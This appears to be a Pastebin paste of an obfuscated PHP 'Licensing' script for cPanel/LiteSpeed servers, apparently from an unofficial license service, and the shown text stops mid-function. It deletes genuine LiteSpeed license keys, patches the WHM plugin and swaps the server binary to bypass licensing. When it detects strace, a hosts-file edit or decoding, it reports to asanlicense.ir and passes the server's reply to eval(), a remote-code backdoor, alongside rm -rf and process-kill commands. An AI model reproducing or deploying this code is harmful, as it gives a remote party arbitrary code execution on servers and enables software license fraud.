API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Dec 26th, 2018
123
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.38 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. phpshield_obfuscated_raisgkgqas2qay(0);
  4. phpshield_cyberlicsys();
  5. function phpshield_obfuscated_deb926c8ad1140a010042bbce4fcc7ad($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2)
  6. {
  7. $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5 = '';
  8. for ($i = 0; $i < strlen($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2); $i++) {
  9. $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5 .= dechex(ord($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2[$i]));
  10. }
  11. return $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5;
  12. }
  13. if ($argv[1] == '-killall') {
  14. phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1(0);
  15. die();
  16. }
  17. function phpshield_obfuscated_eae7e3255f229197e7073276ff6dcb3e()
  18. {
  19. $phpshield_obfuscated_c879be21a5426251f6d72a6502a9cdc1 = '/usr/local/cgls/html/';
  20. $phpshield_obfuscated_a279e72759b585b5fe9d78b5cf755e16 = array_diff(scandir($phpshield_obfuscated_c879be21a5426251f6d72a6502a9cdc1), array(
  21. '.',
  22. '..'
  23. ));
  24. foreach ($phpshield_obfuscated_a279e72759b585b5fe9d78b5cf755e16 as $phpshield_obfuscated_5cebd7e7625c35e13666fbce707fea17) {
  25. if ($phpshield_obfuscated_5cebd7e7625c35e13666fbce707fea17 != 'index.php') {
  26. phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_c879be21a5426251f6d72a6502a9cdc1 . $phpshield_obfuscated_5cebd7e7625c35e13666fbce707fea17);
  27. }
  28. }
  29. }
  30. function phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1($phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de)
  31. {
  32. if (file_exists('/bin/ps')) {
  33. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep Licensing |awk '{ print $2}'");
  34. } else {
  35. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("ps aux |grep Licensing |awk '{ print $2}'");
  36. }
  37. $phpshield_obfuscated_c91c01676c6804fe6265518c028067eb = explode("\n", $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  38. $phpshield_obfuscated_0390006c1140449985f7d69074b75ca6 = getmypid();
  39. if (count($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb) > $phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de) {
  40. if (file_exists('/usr/bin/killall')) {
  41. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/bin/killall Licensing');
  42. } else {
  43. phpshield_obfuscated_uarsEwg2qUpqxo('killall Licensing');
  44. }
  45. }
  46. if (count($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb) > $phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de) {
  47. phpshield_obfuscated_r1yd13aus3f1cs($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb);
  48. foreach ($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb as $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de) {
  49. if ($phpshield_obfuscated_1f74e647cbad2978830c37562fb271de < $phpshield_obfuscated_0390006c1140449985f7d69074b75ca6 && !empty($phpshield_obfuscated_1f74e647cbad2978830c37562fb271de)) {
  50. if (file_exists('/bin/kill')) {
  51. phpshield_obfuscated_uarsEwg2qUpqxo('/bin/kill -9 ' . $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de);
  52. } else {
  53. phpshield_obfuscated_uarsEwg2qUpqxo('kill -9 ' . $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de);
  54. }
  55. }
  56. }
  57. }
  58. }
  59. phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1(30);
  60. if ($argv[1] == '-lite') {
  61. if (file_exists('/bin/netstat')) {
  62. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/netstat -tulpn | grep --color :80");
  63. } else {
  64. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("netstat -tulpn | grep --color :80");
  65. }
  66. preg_match_all('/LISTEN (.*?)\//', $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1, $phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791);
  67. foreach ($phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791[1] as $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b) {
  68. $phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96[$phpshield_obfuscated_fce61b962e87812431631fa86300fe4b] = $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b;
  69. }
  70. phpshield_obfuscated_r1yd13aus3f1cs($phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96);
  71. die("ACCEPTED $phpshield_obfuscated_af9bb45203ae14858792e592f138c3ec Days\n");
  72. }
  73. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep strace | grep -v grep | grep root | head -n1 | awk '{ print $2}'");
  74. if (!empty($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1)) {
  75. $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778 = @phpshield_obfuscated_baes2wg9qU1qxe(@phpshield_obfuscated_r8bs14gu17f93y('/proc/' . trim($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1) . '/cmdline'));
  76. $phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2 = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=strace&data=' . $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778);
  77. @eval($phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2);
  78. phpshield_obfuscated_r1yd13aus3f1cs('Error in compiler id : ' . $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  79. die();
  80. }
  81. if (file_exists('/usr/local/cgls/disableupdate')) {
  82. $phpshield_obfuscated_7edae6f65140ce61225216f021467d0a = phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/disableupdate');
  83. if ($phpshield_obfuscated_7edae6f65140ce61225216f021467d0a == 'auto') {
  84. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/disableupdate');
  85. }
  86. }
  87. if (file_exists('/var/cpanel/dnsonly')) {
  88. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /var/cpanel/dnsonly');
  89. }
  90. if (file_exists('/usr/local/cgls/disablezorro')) {
  91. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cgls/disablezorro >/dev/null 2>&1');
  92. }
  93. if (file_exists('/usr/bin/chattr2')) {
  94. $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr2';
  95. } else {
  96. $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr';
  97. }
  98. if (!is_dir('/usr/local/cgls/log/')) {
  99. mkdir('/usr/local/cgls/log/');
  100. }
  101. function phpshield_obfuscated_17da03b6712a9860f1d9fa86db1bbe90()
  102. {
  103. if (file_exists('/sbin/service')) {
  104. phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service ipaliases restart 1>/usr/local/cgls/log/ipaliases1 2>/usr/local/cgls/log/ipaliases2');
  105. } else {
  106. phpshield_obfuscated_uarsEwg2qUpqxo('service ipaliases restart 1>/usr/local/cgls/log/ipaliases1 2>/usr/local/cgls/log/ipaliases2');
  107. }
  108. return true;
  109. }
  110. function phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97()
  111. {
  112. $phpshield_obfuscated_34fd22dba1d63b6925079a5f687b60a0 = phpshield_obfuscated_sahsekg9lU1qxt('/sbin/ifconfig -a');
  113. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_34fd22dba1d63b6925079a5f687b60a0, 'lo:0')) {
  114. if (file_exists('/sbin/service')) {
  115. phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service network restart 1>/usr/local/cgls/log/network1 2>/usr/local/cgls/log/network2');
  116. } else {
  117. phpshield_obfuscated_uarsEwg2qUpqxo('service network restart 1>/usr/local/cgls/log/network1 2>/usr/local/cgls/log/network2' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  118. }
  119. }
  120. phpshield_obfuscated_17da03b6712a9860f1d9fa86db1bbe90();
  121. return true;
  122. }
  123. if ($argv[1] == '-disableloader') {
  124. $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['disable'] = time();
  125. $phpshield_obfuscated_97e214a8bdf40b1a3c4acc9acb9fe17d = @json_decode(@private_cyberlicsys('http://asanlicense.ir/newsys/so.php', $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f), true);
  126. foreach ($phpshield_obfuscated_97e214a8bdf40b1a3c4acc9acb9fe17d['locations'] as $phpshield_obfuscated_487621d6acd6f307eed7eb701cf4bc31) {
  127. phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_487621d6acd6f307eed7eb701cf4bc31);
  128. }
  129. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/disableloader', time());
  130. die("LOADER Disabled .\n");
  131. }
  132. if ($argv[1] == '-enableloader') {
  133. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/loader');
  134. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/disableloader');
  135. die("LOADER Enabled .\n");
  136. }
  137. if ($argv[1] == '-restartloader') {
  138. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -disableloader' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  139. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -enableloader' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  140. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/etc/loader.ver', '3');
  141. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -5min' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  142. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -5min' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  143. die("LOADER RESTARTED .\n");
  144. }
  145. if ($argv[1] == '-ipv6') {
  146. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.default.disable_ipv6=1');
  147. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.all.disable_ipv6=1');
  148. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -p');
  149. phpshield_obfuscated_uarsEwg2qUpqxo('chkconfig ip6tables off');
  150. phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97();
  151. die("IPv6 Disabled .\n");
  152. }
  153. if ($argv[1] == '+ipv6') {
  154. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.default.disable_ipv6=0');
  155. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.all.disable_ipv6=0');
  156. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -p');
  157. phpshield_obfuscated_uarsEwg2qUpqxo('chkconfig ip6tables on');
  158. phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97();
  159. die("IPv6 Enabled .\n");
  160. }
  161. function phpshield_obfuscated_fa7a8894f07107bf5f7fa590aba98a09($phpshield_obfuscated_53f8edef15f79c06b1303bf4eb6f41c4)
  162. {
  163. $phpshield_obfuscated_cb7b878b0f501bb413386ca0b22365cc = @phpshield_obfuscated_r8bs14gu17f93y($phpshield_obfuscated_53f8edef15f79c06b1303bf4eb6f41c4);
  164. preg_match_all('@[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}@', $phpshield_obfuscated_cb7b878b0f501bb413386ca0b22365cc, $phpshield_obfuscated_c0f6c883b2aa842f477cfba2e68b0888);
  165. return $phpshield_obfuscated_c0f6c883b2aa842f477cfba2e68b0888['0']['0'];
  166. }
  167. function phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)
  168. {
  169. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  170. if (empty($phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)) {
  171. $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 60;
  172. }
  173. if (file_exists('/usr/local/cgls/addphpshield')) {
  174. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/addphpshield');
  175. }
  176. if (file_exists('/usr/local/cgls/log/cyberrun.log')) {
  177. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  178. }
  179. if (file_exists('/usr/local/cgls/log/cyberrun2.log')) {
  180. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  181. }
  182. $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = phpshield_obfuscated_uarsEwg2qUpqxo('timeout ' . $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 . ' ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 . ' >/dev/null 1>/usr/local/cgls/log/cyberrun.log 2>/usr/local/cgls/log/cyberrun2.log');
  183. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  184. }
  185. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/log/open', time());
  186. if (file_exists('/usr/local/cgls/lib/proxychains.conf')) {
  187. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/lib/proxychains.conf');
  188. }
  189. if (file_exists('/usr/local/cgls/log/proxychains.conf')) {
  190. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/proxychains.conf');
  191. }
  192. if (file_exists('/usr/local/cgls/Cyber')) {
  193. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/Cyber');
  194. }
  195. if (file_exists('/usr/local/cgls/Cyber1')) {
  196. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/Cyber1');
  197. }
  198. if (file_exists('/usr/local/cgls/Cyber2')) {
  199. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/Cyber2');
  200. }
  201. if (file_exists('/usr/local/cgls/licensing.pid')) {
  202. $phpshield_obfuscated_50508c336f1574776e7a1c7cfed595ec = time() - filemtime('/usr/local/cgls/licensing.pid');
  203. if (600 < $phpshield_obfuscated_50508c336f1574776e7a1c7cfed595ec) {
  204. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/licensing.pid');
  205. }
  206. }
  207. $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc = @phpshield_obfuscated_r8bs14gu17f93y('/etc/hosts');
  208. if (phpshield_obfuscated_r1bd1ggusnf9cs("Safe" . $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc, 'asanlicense.ir')) {
  209. phpshield_obfuscated_r82sg4g2a7190y('/etc/hosts', '# Do not remove the following line, or various programs');
  210. phpshield_obfuscated_r13d12gus3f1cs(5);
  211. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7b = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=hostfileedited');
  212. @eval($phpshield_obfuscated_7318a606a3118d468dae7078098fba7b);
  213. phpshield_obfuscated_r82sg4g2a7190y('/etc/hosts', $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc);
  214. }
  215. $phpshield_obfuscated_3fcdb8213ec0f360b42a72cb00e84461 = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/Licensing');
  216. if (phpshield_obfuscated_r1bd1ggusnf9cs("Safe" . $phpshield_obfuscated_3fcdb8213ec0f360b42a72cb00e84461, 'cyberlicsys')) {
  217. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7b2 = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=decodedsystem');
  218. @eval($phpshield_obfuscated_7318a606a3118d468dae7078098fba7b2);
  219. }
  220. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  221. if (phpshield_obfuscated_ra4sgkg93U2qat('debug', $argv)) {
  222. $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a = '';
  223. } else {
  224. $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a = ' >/dev/null 2>&1';
  225. }
  226. function phpshield_obfuscated_5ea7f4f9b61b20014c4a094876f7464f()
  227. {
  228. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  229. $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f = trim(phpshield_obfuscated_r8bs14gu17f93y('/usr/local/lsws/VERSION'));
  230. $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5 = '/usr/local/lsws/bin/lshttpd.' . $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f;
  231. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d('/usr/local/lsws/bin/lshttpd -t');
  232. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc = phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun.log');
  233. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc .= phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun2.log');
  234. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  235. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  236. if (phpshield_obfuscated_r1bd1ggusnf9cs($phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc, 'httpd_config.xml')) {
  237. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -install litespeed ' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  238. }
  239. $phpshield_obfuscated_857cf7ebbc16254340c06dc6348c068d = @filesize($phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  240. if ($phpshield_obfuscated_857cf7ebbc16254340c06dc6348c068d < 100000) {
  241. if (!file_exists("/usr/local/lsws/bin/lshttpd_")) {
  242. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -install litespeed ' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  243. }
  244. }
  245. }
  246. function phpshield_obfuscated_5b3d01f17b48fdebd2a5ea4fd05bc9f8()
  247. {
  248. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  249. $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f = trim(phpshield_obfuscated_r8bs14gu17f93y('/usr/local/lsws/VERSION'));
  250. $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5 = '/usr/local/lsws/bin/lshttpd.' . $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f;
  251. if (file_exists("/usr/local/lsws/bin/lshttpd_")) {
  252. phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  253. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf ' . $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  254. rename("/usr/local/lsws/bin/lshttpd_", $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  255. phpshield_obfuscated_uarsEwg2qUpqxo('mv /usr/local/lsws/bin/lshttpd_ ' . $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  256. }
  257. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf ' . phpshield_obfuscated_baes2wg9qU1qxd('L3Vzci9sb2NhbC9jZ2xzL2xpYi9saWJjMmZpeGVkLnNv'));
  258. @phpshield_obfuscated_r41sgkg2as1qqy(phpshield_obfuscated_baes2wg9qU1qxd('L3Vzci9sb2NhbC9jZ2xzL2xpYi9saWJjMmZpeGVkLnNv'));
  259. }
  260. function phpshield_obfuscated_df6b4199a2866d41442f9b0a389463c0()
  261. {
  262. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  263. phpshield_obfuscated_5b3d01f17b48fdebd2a5ea4fd05bc9f8();
  264. if (file_exists('/usr/local/lsws/conf/trial.key')) {
  265. phpshield_obfuscated_uarsEwg2qUpqxo($phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key');
  266. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/lsws/conf/trial.key');
  267. }
  268. if (file_exists('/usr/local/lsws/conf/license.key')) {
  269. $phpshield_obfuscated_362661de726a1fb08719c20884bcdbed = @unserialize(@private_cyberlicsys('http://asanlicense.ir/litespeed/list.php'));
  270. $phpshield_obfuscated_1638fe16d3c6dcdb5d3c50d92b062924 = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/lsws/conf/serial.no');
  271. foreach ($phpshield_obfuscated_362661de726a1fb08719c20884bcdbed as $phpshield_obfuscated_203358b7057d7c9e8c532fa6cd30006c => $phpshield_obfuscated_d65701bfe95be82fa2d76a245bcf3615) {
  272. if ($phpshield_obfuscated_d65701bfe95be82fa2d76a245bcf3615 == $phpshield_obfuscated_1638fe16d3c6dcdb5d3c50d92b062924) {
  273. phpshield_obfuscated_uarsEwg2qUpqxo($phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/license.key');
  274. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/lsws/conf/license.key');
  275. }
  276. }
  277. }
  278. $phpshield_obfuscated_d570477d2d1a99a45f4997bea058a6c8 = '/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php';
  279. $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 = @phpshield_obfuscated_r8bs14gu17f93y($phpshield_obfuscated_d570477d2d1a99a45f4997bea058a6c8);
  280. if (phpshield_obfuscated_r1bd1ggusnf9cs($phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5, "/conf/serial2.no")) {
  281. $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 = phpshield_obfuscated_raqs2kg9aU1qxt("/conf/serial2.no", "/conf/serial.no", $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5);
  282. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php', $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5);
  283. }
  284. }
  285. function phpshield_obfuscated_e85f9fee76c456664960cea313e7fe80($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6)
  286. {
  287. if (empty($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6)) {
  288. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 = 'CHECK_LSWS_RUNNING';
  289. }
  290. if (file_exists('/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_cmd.sh')) {
  291. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = '/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_cmd.sh /usr/local/lsws ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6;
  292. phpshield_obfuscated_1a3se2g9451qxt($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3);
  293. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3[0];
  294. }
  295. return 'lsws cmd file not found !';
  296. }
  297. function phpshield_obfuscated_f42317e881519ec6cba3fe393f615a92()
  298. {
  299. if (file_exists('/usr/sbin/lspci')) {
  300. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/sbin/lspci');
  301. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'vmware')) {
  302. return '1';
  303. }
  304. }
  305. if (file_exists('/sbin/lspci')) {
  306. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/sbin/lspci');
  307. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'vmware')) {
  308. return '1';
  309. }
  310. }
  311. if (file_exists('/proc/vz') or file_exists('/proc/vz/veinfo') or file_exists('/proc/sys/xen') or file_exists('/sys/bus/xen') or file_exists('/proc/xen')) {
  312. return '1';
  313. }
  314. if (file_exists('/proc/cpuinfo') & file_exists('/usr/bin/grep')) {
  315. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/bin/grep \'model name\' /proc/cpuinfo');
  316. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual')) {
  317. return '1';
  318. }
  319. }
  320. if (file_exists('/proc/cpuinfo') & file_exists('/bin/grep')) {
  321. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/bin/grep \'model name\' /proc/cpuinfo');
  322. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual')) {
  323. return '1';
  324. }
  325. }
  326. if (!file_exists('/usr/sbin/dmidecode')) {
  327. phpshield_obfuscated_uarsEwg2qUpqxo('yum -y install dmidecode' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  328. }
  329. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/sbin/dmidecode -t system | grep -e Manu -e Prod');
  330. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual') or phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'xen') or phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'qemu')) {
  331. return '1';
  332. }
  333. return '0';
  334. }
  335. function phpshield_obfuscated_6fdddd9d490a86dee1a875e771fa4373($phpshield_obfuscated_6e4f14b335243be656c65e3ed9e1b115, $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)
  336. {
  337. if (empty($phpshield_obfuscated_9281cec8a8336755b503dc010201ab18)) {
  338. $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18 = 10;
  339. }
  340. if (empty($phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)) {
  341. $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 10;
  342. }
  343. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78 = curl_init();
